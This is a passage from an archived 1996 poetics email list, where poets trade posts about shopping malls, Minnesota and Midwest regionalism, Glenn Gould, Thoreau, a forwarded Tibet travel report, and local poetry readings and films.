
A few of us do, but we're ostracized as "Canadian wannabes" if we admit it.

Just kidding,
Steve

↑ Index

351. **Kevin Killian**
Re: Minneapolis
Sat 13 Apr 1996

So this afternoon I went to SF's upscale farmer's market down by the Bay. This one stand had these beautiful strawberries for a whopping $2.00 a basket. As I was guiltily paying for mine this guy appeared beside me with this giant 35 mm camera and photography paraphernalia around his neck. He balked at the price of the strawberries, as I did, then also decided to buy some, exclaiming, "You never see them that red in Minnesota." I replied, "They're not at their peak, but they're pretty good." (They could have been a bit sweeter.) He then said to me quite passionately, "In Minnesota they would kill for these."

I appreciated his passion, and yes, his magic. But at the same time I felt like the poetics list was trailing me through the streets of San Francisco.

Dodie

↑ Index

352. **Wystan Curnow**
Re: malls
Sat 13 Apr 1996

:
MALLS! MALLS! MALLS!
.

↑ Index

353. **Stephen Galen Cope**
malls
Sat 13 Apr 1996

It All Began in Minnesota...

"The Architect. In July of 1938, Victor Gruen came to America from Austria with $8 in his pocket and little more than his architect's T square as his luggage. In his homeland he had championed innovative public housing and had just begun to get good architectural commissions from Vienna department stores when Hitler's army invaded. Fleeing to the United States, he brought an idea inspired by the markets of medieval Austrian and Swiss towns he had visited as a young man and by the stately Galleria Vittorio Emanuele II in Milan: the covered shopping mall. It all began in Minnesota in the mid-50s, when Gruen was commissioned to build a shopping center. He constructed a central courtyard equidistant from two department stores. The result, Southdale, opened on October 8, 1956. Its one giant roof meant that construction costs for individual stores

could be reduced, making the whole complex cheaper to build. So many developers hired Gruen that his firm soon had offices in six major cities. He was called in to replan whole downtowns. At the height of his influence, the Shah of Iran hired him to redesign Teheran. Soon a new generation of developers was building on Gruen's ideas, combining the mall with historical themes in old Eastern cities--Quincy Market in Boston, Harborplace in Baltimore and South Street Seaport in New York."

-Stephen Cope

↑ Index

354. **MAXINE CHERNOFF**

Re: More on Malls

Sat 13 Apr 1996

Dear MB: Of course Americans know who Glenn Gould is. Do Canadians know who Frank Sinatra is?

Cheers,
Maxine Chernoff

On Sat, 13 Apr 1996, Michael Boughn wrote:

> *Glenn Gould loved to hang out in malls for their magic. Do americans know who Glenn Gould is?*
>
> *Mike*

↑ Index

355. **MAXINE CHERNOFF**

Re: Elmslie

Sat 13 Apr 1996

Dear Michael Leddy: You're right. A very good interview of KE appeared in NAW #8/9, a double issue. It's still available for $8 from NAW, 369 Molino, Mill Valley CA 94941. Did you know that Kenward Elmlsie's song "LOvewise" as recorded by Nat King Cole was a hit?

Best,
Maxine Chernoff

On Sat, 13 Apr 1996, Michael Leddy wrote:

> *The Kenward Elmslie interview you're thinking of might be the one that appeared in New American Writing several issues back.*

> *Michael Leddy / Charleston IL (East-Central Illinois, or, Out of Nowhere)*

↑ Index

356. **Jeffrey W. Timmons**
Re: malls
Sat 13 Apr 1996

molls molls molls!

jeffrey timmons

↑ Index

357. **Jeffrey W. Timmons**
Re: Minneapolis
Sat 13 Apr 1996

On Sat, 13 Apr 1996, Michael Boughn wrote:

"The magic, folks, is where you live. If you can't see it, maybe you're not living there."

been mulling this provincialism regionalism magic thing over for a few days. with michaels post and kims--that asked what we can attach to a specific place--i am still deeper. my sense of geography and magic stems from a fondness for thoreau and his investment in the internal and external landscape. yes magic is where you live probably how you live and simply in living finding magic. but beyond that and probably implicit in all of this is the idea that one be sensitive to place location landscape region etc enough to let it define itself?

i hate to admit it but ive found magic at 7-11 taco bell and borders.

with nothing profound to say
other than thoreau is not boring
even when he seems like it

jeffrey timmons

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358. **Sharon DiMaria**
Re: malls
Sat 13 Apr 1996

Mauls! Mauls! Mauls!

↑ Index

359. Thomas Bell
Re: malls or themeparks
Sat 13 Apr 1996

Poetry Themeparks: POETRYCAL
DIZZYPOETRYWORLD
SIX FLAGS OVER THE CANTOS
LANGUAGE THEMELESS CITY
WHITMAN VILLAGE

On Sun, 14 Apr 1996, Wystan Curnow wrote:

> *:*
> *MALLS! MALLS! MALLS!*
> *.*

↑ Index

360. Schuchat
My recent trip to Tibet (fwd)
Sun 14 Apr 1996

For something slightly different, where there are no malls.

(from the Tibetan studies list)

Several members have requested that I report on my recent trip to Tibet. In late February to early March I made my third trip to central Tibet in the past two years. I went with a group on Marck, 1994, and by myself as an official "group of one," with guide and driver, in December, 1994, and last month. My goal is to travel in Tibet once each year, in my role as Dhief Librarian of the Oriental Division of the New York Public Library. In each case, I stay for about seven to ten days, and map out an itinerary which takes me to temples and monasteries previously not visited, in addition to returning to certain sites. My particular interest is temples, and I have written a book, The Temple: Meeting Place of Heaven and Earth (Thames and Hudson, 1993). I have written scholarly articles on Biblical temples, and on Borobudur. A report of my December, 1994 trip to central to Tibet appeared, with my photos, in the April 9, 1995 New York Times Sunday Travel section.

On my most recent rip to Tibet I intended to visit two of the temple covered by Vitali in his book Early Temples of Central Tibeta: Kachu and Chung Riwoche. I was unable to visit the former, because my guide did not know that such a place existed, and the second because we were turned back by an ice-bound road, west of Lhatse. The alternative to the first, Kachu, was

one of my most memorable Tibetan experiences, staying overnight in the Samye monastery guest house, and getting up before dawn to join Tibetan pilgrims on the journey up the mountain above Samye to the cave meditation site, Samye Chimpu. this was an extraordinary experience--both Samye; monatery, with its village, and the memitation site. All four of the great stupas are now restored and fully functional--the white, green, red and black--at the corners of the main Samye temple--the Utse. They are magnificent structures. I had to go out in the middle of the night. There was a (full?) moon. The stupa nearest to where I was standing on the third floor of the gues house was the white one. With no other surface light, on a brilliant, bitterly cold moonlit night, the structure shown like polished marble. It is one of the most unforgettable sights I have every seen. To reach Samye Chimpu, we left Samye about 6:30 a.m. in a jeep, driving one hour before reching the end of the track. From there the ascent to the chapel at the top of Samye Chimpu took me two hours--it was my first full day in Tibet. Victor Chan has an excellent description of the site--Tibet Handbook. There are about 150 Nyingma monks in the caves. One monk we met is 80 years old, his female companion 60. She said she had been there with him for 30 years. On the way down, we met a 13 year old monk (goint up) from Kham, who told us he had been a monk for one year. As an alternative to Chung Riwoche, we visited another of the famous "Kumbum" type temples in the region of Lhatse, in this case rGyang (called by my guide Gyang Kumbum--Victor Chan Gyang Bumoche Kumbum), in the plain of Lhatse, described, with early photos, by Roberto Vitali in the aforementioned book. This temple was massively destroyed by Red Guards during the Cultural Revolution. It is difficult to imagine the extent to which these people went to destroy these monuments. As I understand, they used dynamite in this case. It is a total rubble heap, the mass giving a vague resemblance to the photos published by Vitali. Everywhere there are pieces of tiles, small "Tsa-tsas," various other building and decorative elements, mostly broken or smashed, some intact. Nearby, there is a small, two-monk monastery, Gelugpa, named Gyangmar Gompa. We met and were guided around by the young, 16 year old monk who was in residence on that day. This small monastery has a wonderful Ghonkang. Otherwise, I visited Lhase, where my particular interest is the magnificent Jokhang, Gyantse, where I visited the Kumbum and Palkor Chode, in each case for the third time, and Shalu (second time). My guide took me into the home of his Barkhor merchant friends directly overlooking the Barkhor, and for my first visit, he took me to the Meru Nyingba monastery, behind the Jokhang within the Barkhor, which is controlled by monks from Nechung monastery (see Victor Chan, pp. 119-120. On each of these trips, I talk at length with my guides regarding the plight of the Tibetan people under Chinese occupation. I have many notes on these

conversations--I am constantly asking questions. I am simply going to report here several of these, with no particular order or organizing principle behind them. I have much more, but don't want to make this posting much longer. I have some doubt about some of these statements, based on my experience there, but won't go into that now: Old Tibet is intact and traditional inside the "Lingu." Geshe education is at a very high level in Tibet (reported to me by two guides, independently) The Tibetans and Chinese live totally separately. The Chinese, in general, do not bother to learn Tibetan. The Jokhang is "Tibetan", not simply a Chinese front for tourist. It is easier for young men who want to become monks to get into the Jokhnag or Potala, rather than into remote monasteries. Tibetans look forward to free elections to choose their political leaders, and view the Dalai Lama as their spiritual leader. Tibetans accept only the Dalai Lama approved Panchen lama candidate, and will never accept the Chinese candidate. There is massive unemployment among Tibetan youg men. They are "last hired, first fired." Beer is made readily available to Tibetan youth, costing less to purchase than soda pop. My recent guide said that he and his friends discuss mainly only one thing: politics. I am going to stop here. I can go on and on, but don't want to tax the patience of any of you.

Sincerely,

John M. Lundquist

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361. **Stephen Galen Cope**
Re: malls
Sun 14 Apr 1996

Incidentally, I've heard of a mall in Montana in front of which stands a statue depicting a terrified hunter in the hands of an angry bear...

Sharon DiMaria writes:

Mauls! Mauls! Mauls!

↑ Index

362. **William M. Northcutt**
malls
Sun 14 Apr 1996

Glenn Gould was a mall.

↑ Index

363. Mary Rising Higgins
Re: psychic geography
Sun 14 Apr 1996

Here! Hear! i shout from a concealed...location. i've been locked in my therapist's office since viewing Fargo...i thought some of my old home movie footage had been stolen for use in the film.

mrh

Go, sam!

↑ Index

364. Christopher L. Filkins
Re: More on Malls
Sun 14 Apr 1996

Charles Alexander wrote at 3:54 pm on the day that is today:
>
>and a good friend of mine years ago in oklahoma (to me more magical, but who
>can say why we think such things?) was writing a dissertation on malls as
>the gathering places of america, socially meaningful, what that said about
>us, etc. (this in 1976 or 1977, when such an idea was a little more novel
>than it is today). But it strikes me that at that time, and perhaps still
>now, part of their representation of america was right on specifically
>because malls did not have poetry events. Can a mall be a mall, or should it
>be a poetry mall? I don't have the answer to that one. The huge Mall of
>America in Mpls has a large amusement park (Camp Snoopy) in the middle, and
>as the father of two less-than-ten-year-olds, I went through the entry and
>to the rides several times before I ever went into a store there. I think
>the poetry readings should be under the large inflated snoopy dog.
>
>with glenn gould playing

Actually there is a mall south of here which contains a coffee shop which has poetry readings every night of the week. It's sort of a mallrat / punk hangout from what I understand. Never been there but I hear the vibe is cool if not the poetry. They do a lot of publication parties for local rags and every few months throw 24 hour readings to raise money for various charities.

Don't know if they play Glenn Gould between sets.

As for malls - if the industry organ can be trusted not one new mall development has been planned for almost 10 yrs now. There are a few sporadic cases

of malls being built or still to be built but these have been in the pipeline for well over a decade - held up over zoning, traffic, capitalization, etc.

The big thing now is refurbishing and redesigning the existing malls to compete with downtown revitalization centers and of course the ubiquitious Dr. Strangelove, cough (excuse me) I mean Target/Walmart,etc. which has completely revitalized the ailing strip mall industry.

your friendly spokesman for industry

christopher

↑ Index

365. Mary Rising Higgins
Re: More on Malls
Sun 14 Apr 1996

How do you buy cute throwaways while hearing someone give his LIFE to a musical composition?

I [("believe")] I'll never hear Glenn Gould in a shopping mall...

mrh

i liked that maul maul maul moll moll moll stuff!

↑ Index

366. Ron Silliman
Re: More on Malls
Sun 14 Apr 1996

I would take it that anyone who has read Benjamin on the arcades would take malls quite seriously as a social (as well as aesthetic) space. One walk through any "historic" district in a city that has been touristized -- say the Left Bank in Paris -- will show instantly how pervasive the mall is as an organizing principle. Meaghan Morris and others have done some pretty interesting work on this.

Dan Davidson used to go to Nordstroms in SF to write -- he liked the live piano, which often enough is playing something like Satie -- plus the public/private ambience as I recall. Don't know if he still does this.

I live about 15 minutes from the King of Prussia Mall (which David is quite right, loudly trumpets the fact that it has more shopping space than the Mall of America, tho not the theme park) and in fact visit it about once a week. Gene's Books there is an independent that does reliably carry Sun & Moon, Black Sparrow and Talisman productions, tho it's idea of Nat'l Poultry Month has been a single table display with Heaney, Moyers and Holman prominently figured.

Ron Silliman
[redacted]

↑ Index

367. **Maria Damon**
(no subject)
Sun 14 Apr 1996

---

awberry anecdote. some of the minnesotans i know wouldn't buy those ripe strawberries cuz they'd feel "grabby," and buy instead the less beautiful ones! which granted, can be a charmingly eccentric trait in an individual but as a generalized cultural attitude becomes unbearably oppressive. i think it's about time to retire this POETRICKS motif (MN, i mean) but not before pointing out that the midwest's most passionate defenders on this list have coastal e-addresses, and most of its detractors seem to live in...you guessed it, the great broekn-heartland.

↑ Index

368. **Maria Damon**
(no subject)
Sun 14 Apr 1996

---

s of thoreau, and i can't resist pointing out that thoreau lived in...massachusetts, and hung out in the most "elite" of intellectual circles. so if we're gonna use him as a reference point in discussions of regionalism, let's put him in proper context. i'd love to hang out w/ thoreau, in thoreau country where i grew up (walks around walden were a frequent family activity). well, i can see this subject is not a good one for me to dwell on, it was good for me to have my say but i'd like to move beyond it internally. i'd love to love the place i live...

↑ Index

369. **Ron Silliman**
Re: malls
Sun 14 Apr 1996

A further use for malls: When I wanted to put together a collective reading of the whole of Tjanting at an underground Muni Metro site -- a New Langton Arts event of many moons ago -- I was able to get permission by having two members of the Public Utilities Commission tell the head of Muni that saying yes was not a career limiting idea, but he didn't believe it until the owner of the Cannery, Chris Martin, told him he'd be glad to have the reading there if Muni didn't want it. The Church Street Station was a much better site, and we were glad to have it (and we did better than the trains: a project ten and one half

hour event came in at just 10:32). The Muni chief actually stayed for about 2 hours and I think it may be the only poetry he's ever heard.

Ron Silliman

↑ Index

370. Herb Levy
Ars Longa, Collective Memory Brevis
Sun 14 Apr 1996

Hey guyzies -

Now that the tax job from hell is winding down, I've taken some time to actually look at the massive stack of mail from the poetics list that's piled up over the last six weeks or so. Someday I may even get around to reading the stack of books & mags that's been accumulating for even longer. But I have to be in to work by noon, so that'll have to wait.

Anyway, I thought it was remarkable (obviously) that there seemed to be no mention of the passing of Larry LaPrise last week. As is true of many artists, composer/writer LaPrise never really received the recognition that was due him. But the lack of attention to his death here at poetics was all the more saddening because about a year and a half ago there was a very active dialog on one of his works on the list.

I think the discussion grew out of the context of Pessoa. Someone (Ron Silliman, I think, but I don't remember all the details) noted that a translation of Pessoa had appropriated, without attribution, one of LaPrise's best known lines. There followed a lengthy & often amusing interchange that rivaled the "renga" in its longevity, if not in the length of any single posting. (Which reminds me, does George Bowering still read the list?)

Like I said, I don't remember it all, but you could look it up in the archives if you were so inclined.

So, in consideration of his connection to the poetics list, I think it's appropriate to request a moment of silence in memory of Larry LaPrise, composer, writer, performer, whose most famous work was, of course, "The Hokey Pokey."

Bests

Herb Levy

↑ Index

371. **Kevin Killian**
(no subject)
Sun 14 Apr 1996

At 9:15 AM 4/14/96, Maria Damon wrote:
> i think it's about time to retire this
>POETRICKS motif (MN, i mean)

Never, Maria, never!

x,
Dodie

↑ Index

372. **MAXINE CHERNOFF**
minnesota
Sun 14 Apr 1996

I've lived in the midwest most of my life and probably have some sense of it. In the early days of the republic, the Ohio River Valley was the far west, thus the name Northwestern University. It was a place of adventure, romance (especially for German immigrants, who had read Karl May's novels), and wildness. But the east and west coasts were settled earlier (1600s, not 1800s) and could rightfully make a claim for their deeper culture. Unthinking bias against the region occurs all the time, especially among people who have recently abandoned it. I was at a symposium in NYC at which the film critic John Simon declaimed against Siskel and Ebert because they were from the midwest. Great leap of logic there. Siskel & Ebert are from the midwest; the midwest is mediocre; therefore their film criticism is mediocre.

Minnesota and Wisconsin of the midwest states are the most liberal by their history, often as liberal as Maria Damon's beloved Massachusetts. Minneapolis prides itself on its support for the arts, and in fact Coffee House Press, Grey Wolf, and Milkweed Editions owe some of their success (all are among the largest small presses, with in excess of $300,000 yearly budget) to Minnesota foundations and arts councils. I would imagine that CHAX has at some point benefited from this money. Coffee House moved from Iowa City in the 1980s specifically because of such financial support.

The poetry capitals of the country are New York City and San Francisco. For the avant-garde and the rest, little else counts except for regional academic sites where creative writing jobs can be had. Of what use is it to residents of the coasts to proclaim the superiority of their region? It's no different from ethnocentrism--a small-minded bias. I saw a post recently re: "low-rent

surrealism." Let's think about that phrase, "low rent." What are we, the high-rent vanguard?

FARGO was an exercise in putting down the yokels. OK, so the Coens were raised in Minneapolis suburbs and the script was written from that experience. And the pregnant sheriff is finally so relentless that the whole culture she represents comes in for left-handed praise. But it's fashionable now to put down the simple white folks, and being of that rural kind--state college, not ivy league--I don't sympathize.

Paul Hoover

↑ Index

373. Sheila E. Murphy
Place
Sun 14 Apr 1996

This discussion of place, beginning with that American alternative Tigress and Euphrates, the Midwest, suggests that there's a lot about this that resounds for people. Just another two cents on this:

I never was "much for" geography, until I'd lived here in broiler country for at least ten years (it's been almost 20 now). Never have I found a place so appealing as the desert. For years of reading work by people obviously moved by geography, I couldn't get what it was that perked them up so much about the land and the accompanying sizzles, glories, whatever.

Arizona has this splendid way of leaving one alone. I love that. Even deep in the heart of (four brisk clapping sounds) Phoenix, there's this contagious little reverence that permeates this web of surfaces. You don't get very deep into the ground. But there's an irony to that. You do because you don't. In any case, it works with this post-incubator resident quite well. Quiet and such. I did a collection many years ago that is scheduled to see print eventually - called HEAT A FORM OF PRIVACY LIKE SNOW. In that way, a resolution of sorts bringing together flavors both Midwestern and Arizonan (intentional misparallels).

↑ Index

374. Jonathan Brannen
Re: More on Malls
Sun 14 Apr 1996

Glenn Gould also committed suicide.

Jonathan

> *Glenn Gould loved to hang out in malls for their magic. Do americans know who Glenn Gould is?*
>
> *Mike*

↑ Index

375. **Maria Damon**
Re: minnesota
Sun 14 Apr 1996

paul hoover: i know all about mn's liberalism; it's about making everyone be "equal, just like us, as long as they act like us." difference makes folks very uncomfortable. i think perhaps, as i've pointed out before, the coen brothers were jewish in minneapolis. this is different from being christian in minneapolis. bob dylan was jewish in hibbing, an even rougher place to be jewish. he wouldn't even play in the state until, i think, less than10 yrs ago, though his brother and mother etc live here, and some of his kids went to college here. again, these folks aren't putting down mn out of some knee-jerk prejudice. they were deeply wounded by it. granted, lots of people come east or west from the midwest and feel put down by IT --i've had that experience myself recently, when friends' parents react with puzzlement and some distaste when hearing i teach at U of MN (my stanford credentials bring out their warmth and interest). but please, stop insisting that my painful experiences are due to some moral failing on my part --that moral failing being that i had the arrogance and grandiosity to have grown up in Newton MA, which shaped me a certain way, to expect certain things out of life. it resonates too closely with the vibe i've been living with for 7 years, namely, that there's something wrong --morally wrong -w/ people who feel too much, say too much, express themselves in strong terms, etc. maria d ps i hope this interaction doesn't interfere w/ any future professional contact we might have. i have no reason to hold anything against you except your conviction that i'm evil because i've had a hard time adjusting to the midwest.

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376. **Bill Luoma**
There's a DUI heading east on route 46
Sun 14 Apr 1996

Often I am permitted to return to Chris Stroffolino:

"Are we slumming it in form heaven." Thanks for a great reading @ ear chris.

The comments on DUI have tended to focus on its formal/cynical ironic unfunny stance. I mean they might be trying to say something (positive content). And that positive content may apply to a range of random communities. Why not apply it and see what you find.

> *bang flag*

thanks again chris

↑ Index

377. **Kevin Killian**
Re: minnesota
Sun 14 Apr 1996

At 5:30 PM 4/14/96, Maria Damon wrote:
>paul hoover: i know all about mn's liberalism; it's about making everyone be
>"equal, just like us, as long as they act like us." difference makes folks
>very uncomfortable.

<snip>

> *it resonates too closely with the vibe i've been living with for 7 years, namely, that there's something wrong --morally wrong -w/ people who feel too much, say too much, express themselves in strong terms, etc.*

Maria,

This is Dodie here to support you. Your experiences mirror mine growing up in the greater Chicago area--even though I am as waspy as they come. In the world I grew up in anybody with difference was basically squashed like a bug. I could never get down the acceptable artsy persona of kooky but not challenging.

Most of my difference centered around gender stuff--I was a loud brassy tomboy, then a lesbian from gradeschool on. When I got to college at IU and finally met some other lesbians, they had a rigid agenda as to how lesbians should behave--I remember a group of them slashing the tires of a woman who they thought wasn't politically correct. Needless to say it soon became clear that I wasn't able to be a proper lesbian any more than I was able to be a normal high school girl. I found myself hanging out mostly with a group of wild young gay men because they seemed to have enough of a tolerance for difference that I could have a good time.

I could go on and on here. But my advice for surving the Midwest, Maria, is to get yourself a bland husband and a couple of babies and learn to keep your mouth shut.

Dodie

↑ Index

378. Tony Green
Re: malls
Sun 14 Apr 1996

Mells, mells, mells -- as in Pell Mell or Pall Mall, short-a Malls -- but in NZ English: mauls, mauls, mauls is correct, as in U.S. I guess. 2 in Auckland with big black grand pianos but not played by Michael Houston.

Tony Green,
e-mail: [redacted]

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379. Wystan Curnow
Re: More on Malls
Sun 14 Apr 1996

Dear Chris,

Good to know that. The writing is in the Mall.

But the Mall is dead? It has struck me that artists use media and technology that's either coming or going, that the economy has chucked --black & white photography, letter press etc--or is getting into--internet etc. Last night I ripped out of the newspaper, reference to the death of the man who coined the expression, or invented the concept? Have to check. The word Mall is from Pall Mall I think. This was a grassy area in London before it became a shopping street (C18th?) where the game 'pall- mall' was played a ball game in which the ball was mauled as with a mallet but not pell-mell as with a pellet on the floor. Its history belongs with that of Arcades, department stores, also with Expos, Panoramas, movie theatres, theme parks etc. There's a recent: book by Anne Friedberg called Window Shopping, cinema and the postmodern, which has some good info. but hohum theory (how shopping gave rise to the 'mobile' gaze--freed from the 'panoptic gaze', spawned the flaneuse, leading right along now to the 'virtual' gaze of the movie goer, that kind of thing.)
In Japan, where the art gallery is a western idea, as is art itself, galleries are often in department stores. I was engrossed some time back by a talk an Australian video artist gave of his experience as an artist-in-resident at the Tokyo department store. There was a big screen on the outside of the building and one inside as well where he could show the works he was making in the studio they provided... Wystan

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380. **Charles Alexander**
Re: minnesota
Sun 14 Apr 1996

Paul, I certainly appreciate what you have to say about the midwest & minnesota, & in fact on certain days I absolutely love it here. living 10 blocks from a beautiful lake, five blocks from a fine waterfall in a park which is almost as close as the urban area comes to wilderness, and just a mile from the intersection of the mississippi & minnesota rivers is pretty thrilling.

but on the following matter to set the record straight:

_____

says Paul Hoover:

and in fact Coffee House Press, Grey Wolf, and Milkweed Editions owe some of their success (all are among the largest small presses, with in excess of $300,000 yearly budget) to Minnesota foundations and arts councils. I would imagine that CHAX has at some point benefited from this money.

_____

no this is not true at all in terms of chax, and in fact, in one meeting with the larger presses when I suggested literary coalition meetings include smaller organizations, one staff member from a larger press made a statement equating size with "significance." And the foundations aren't particularly interested in very small organizations with budgets under 100,000 & who can't show that their books reach thousands of people. The exception here is the Jerome Foundation, and Chax probably will receive money from that source in the future if we stay here. And eventually I think the other foundations might come around, too. The people in the art programs at the foundations are, for the most part, more open and enlightened about avant-garde (or whatever one calls it) poetics and other arts than people at the more established arts organizations (with exceptions, of course). And in some cases of course there is even overlap in aesthetics. Coffee House Press, directed by Allan Kornblum, is in the next year publishing the collected writings of Paul Metcalf in a couple of volumes, and Chax published Metcalf first more than a decade ago, and again 9 years ago.

Also, I believe that all the other organizations Paul Hoover mentions have budgets now in excess of 500,000; and Milkweed's budget may in fact be in excess of one million, or at least has in its best years of late come very close to that number.

One potentional problem here is that the literary scene is, to the public mind, absolutely defined by the four largest presses (the four Paul names plus New Rivers Press) and the writers' organization The Loft; whereas there are more than 25 other presses/writers' organizations/etc., which in total have as much

(in terms of quantity) to offer as the large orgs, and in terms of quality, well, . . . that can be judged quite differently by each individual. I go into this in some detail in a two-part essay in a new review publication here called Rain Taxi. If anyone wants more information about that publication, send a query to [redacted]

I disagree with notions that culture is any more advanced on either coast, necessarily. But I also think that when Paul talks about Minnesota liberalism, his words are more accurate when thinking about the politics than about liberalism with regard to lifestyles, customs, and other personal/social characteristics. From where I sit the midwest, and Minnesota in particular, is a mixed bag. I don't want to or mean to put down the "simple white folk" as Paul calls them, but I also don't agree with the prevailing local sense that this is any kind of mecca, particularly for literature. But I do think lots of people are working at the art here, including at whatever avant end that art reaches toward, and I truly appreciate that work.

charles alexander

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381. Emily Lloyd
Re: Dodie's mn post
Sun 14 Apr 1996

Dodie, you wrote:
>Most of my difference centered around gender stuff--I was a loud brassy
>tomboy, then a lesbian from gradeschool on. When I got to college at IU
>and finally met some other lesbians, they had a rigid agenda as to how
>lesbians should behave--I remember a group of them slashing the tires of a
>woman who they thought wasn't politically correct. Needless to say it soon
>became clear that I wasn't able to be a proper lesbian any more than I was
>able to be a normal high school girl. I found myself hanging out mostly
>with a group of wild young gay men because they seemed to have enough of a
>tolerance for difference that I could have a good time.

Um, eek, that's my autobio in a handbasket. Now I'm petrified I'm going to end up married. <grin>

~~~
~~~

382. **James Perez**
Re: Elmslie
Sun 14 Apr 1996

---

with all this talk about the Pavemet lyrics, make sure to check out the Silver Jews, featuring two members of Pavement and the King Jew (D. Berman). If you want to see entire throw-a-way tracks (maybe a new way to say lo-fi) check out the Arizona Album. The King Jew just graduated with his MFA from UMASS, so he's a card carrying poet, not one of those poet-lyricists (you might have seen his work in the Baffler).

James Perez
[redacted]

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383. **Tony Green**
art in dept stores
Sun 14 Apr 1996

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re Wystan's comments on art in dept stores. Australasia has a tradition of dept store art galleries. Frances Hodgkins showed in Sydney in one in 1913 (?David Jones was it?). Milne & Choyce in Auckland showed a stone replica, very coarsely carved, of Michelangelo's Moses or was it the giant David in the Lingerie Dept.in 1969. Wasn't there a gallery in Dunedin early 70's belonging to Dawson's dept store? And there must be much more of this... Now, on the way out? Is the Supermarket dying yet? Art galleries in the Supo wd be just the thing anyway, with suitable aisle-labelling (or labeling). Best

Tony Green,
e-mail: [redacted]

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384. **Chris Stroffolino**
Re: minnesota
Sun 14 Apr 1996

Well, I've never been in Minnesota....I DID however try to live in Massachusetts on two different ocassions (the summer of 1985, when I lived on the cape and worked for MASSPIRG and 9 months in 1992-3 in Amherst)--both experiences were fiascos....The image of great "liberal" MASSACHUSETTS (the only state that voted for McGovern, etc) turned out to be a sham. What I found on a personal daily bais (I mean basis) was more of the NIMBY type liberal, the "love me love me love me I'm a liberal"---very white, very witch burner decendents.... But, to whom it may concern, I hope

this doesn't effect any professional relationship we might have....I do like Jonathon Richman, for instance (and I love the replacements and prince too....) Chris

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385. **Chris Stroffolino**
Re: Elmslie
Sun 14 Apr 1996

Dear James Perez--- Are you in touch with David Berman? I knew him briefly at Amherst.... He, in fact, turned me onto PAVEMENT as well as his own band.... But I lost touch, but if you have his address, or know his where-abouts, I'd appreciate it. You may backchannel it (if you wish). Thanks, Chris S.

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386. **Chris Stroffolino**
Often I am permitted to return to Tom Raworth
Sun 14 Apr 1996

Tonight, in a reading available on casette from Chris, "EAP", Funkhouser at chez Joris/Peyrafitte here in Albany, Tom Raworth read from his new forth-coming ROOF Book, "A CLean And Well Lit Place" (I think that's the title). As usual, I understand, he read very fast, very dense--- It seems quite different than the TOTTERING STATE (and pre) work.... the only line that comes to mind (I didn't take notes) was "deluded by false hopes" (again, I might be misquoting)....but it's great work, and I can't wait for the book..... cs

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387. **Matthew S Sackmann**
New Orleans...
Sun 14 Apr 1996

Does anyone know of any poetry readings going on in or around New Orleans? Just curious, im afraid there is some great underground society and im missing out, stuck at my boring college (Tulane). Anything will be greatly appreciated.

-An early thanx,
matt

~^~^~^

"The soul is born old but grows young. That is the comedy of life. And the body is born young and grows old. That is life's tragedy." -Oscar Wilde

"Society often forgives the criminal; it never forgives the dreamer." -OW

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388. **Susan Schultz**
Re: New Orleans...
Mon 15 Apr 1996

Matt--you might get in touch with John Gery in the English department at the University of New Orleans; I'm sure he'd know.

On Sun, 14 Apr 1996, Matthew S Sackmann wrote:

> *Does anyone know of any poetry readings going on in or around New Orleans? Just curious, im afraid there is some great underground society and im missing out, stuck at my boring college (Tulane). Anything will be greatly appreciated.*
>
> *-An early thanx,*
> *matt*
>
> *~^~^~^

one of the scary things about finding the unabomber was the fact of his almost thoreauesque "lifestyle." and did yall read/hear about that 20something who went to alaska and died trying to live off the land in winter in a bus? it seems that the idealism of thoreau has been grafted on to the worst aspects of this neoantifederalism strain of american individualism and self-reliance. ug. it seems that a thoreauean (say that five times fast!) sensibility is dangerously close to a pathological or sociopathological disdain for anything that smacks of institutionality.

uh . . . far off now. . . . perhaps were in a even more dangerous landscape than brockden browns _edgar huntley_ ?

jeffrey timmons, sleepwalker

On Sun, 14 Apr 1996, Maria Damon wrote:

> *s of thoreau, and i can't resist pointing out that*
> *thoreau lived in...massachusetts, and hung out in the most "elite" of*
> *intellectual circles. so if we're gonna use him as a reference point in*
> *discussions of regionalism, let's put him in proper context. i'd love to*
> *hang out w/ thoreau, in thoreau country where i grew up (walks around walden*
> *were a frequent family activity). well, i can see this subject is not a good*
> *one for me to dwell on, it was good for me to have my say but i'd like to*
> *move beyond it internally. i'd love to love the place i live...*

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390. **Jeffrey W. Timmons**
Re: Place
Mon 15 Apr 1996

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sheila

just a thought on the desert: ive always thought the real desert is phoenix: its barren and paved over with nothing but lifeless roads and (!) strip malls. it is literally a desert with no life. the other desert though--those little oasi of life--where there is life breathes with what remains of the living forms and beings belonging to the real desert. youve got to get out of phoenix to find life in the desert. here in the midst of it nothing lives. im exaggerating of course.

jeffrey timmons

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391. Eryque Gleason
Re: minnesota
Mon 15 Apr 1996

> *But my advice for surving the Midwest, Maria,*
> *is to get yourself a bland husband and a couple of babies and learn to keep your mouth shut.*
>
> *Dodie*

to which i could add: get one o' them cut-off-above-the-shoulders-'bob'-or-what-ev-er-they-call-em haircuts every eight months.

oh, and find a driveway to have re-tarred every other time you cut your hair.

eryque

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392. Kevin Killian
Re: malls
Mon 15 Apr 1996

This is Kevin Killian speaking. I remember a few years ago, here in San Francisco, the so-called "San Francisco Center" opened downtown on Market Street to great hoopla, mostly due to the never before seen circular escalators. Cleverly, the poet and filmmaker Abigail Child persuaded the property management firm to let her shoot some scenes for her then-current project, the video soap-opera "Swamp," on the escalators. She completely bamboozled them into thinking it was some swank "independent" Sundance type picture about relationships, swore it would be good publicity for Nordstroms etc. Ha ha ha!

"Swamp," written by Sarah Schulman, uses the conventions of TV soaps and twists them all about into these sodden hilarious heaps. In the near future, the US government has created a drainage ditch to separate California from Mexico to keep out illegal immigrants. The ditch, or swamp, has gotten out of control and now hovers directly south of San Francisco. Carla Harryman plays the director of Small Press Traffic, who is told by a sinister real estate (or intelligence) agent-George Kuchar-that the bookstore is to be demolished to make room for more swamp.

Carla has many other problems, including a stormy marriage to Thor (Steve Benson), a surly film critic, author of "The Look and the Glance versus the Peek and the Stare." He owes money to a local Latina waitress, played by Marga Gomez, who he has coerced into making local TV commercials for "Working Class Hero," the emporium for those who lack working class roots but want to

pretend they have them (filmed on the circular escalators, and very Ophuls-esque).

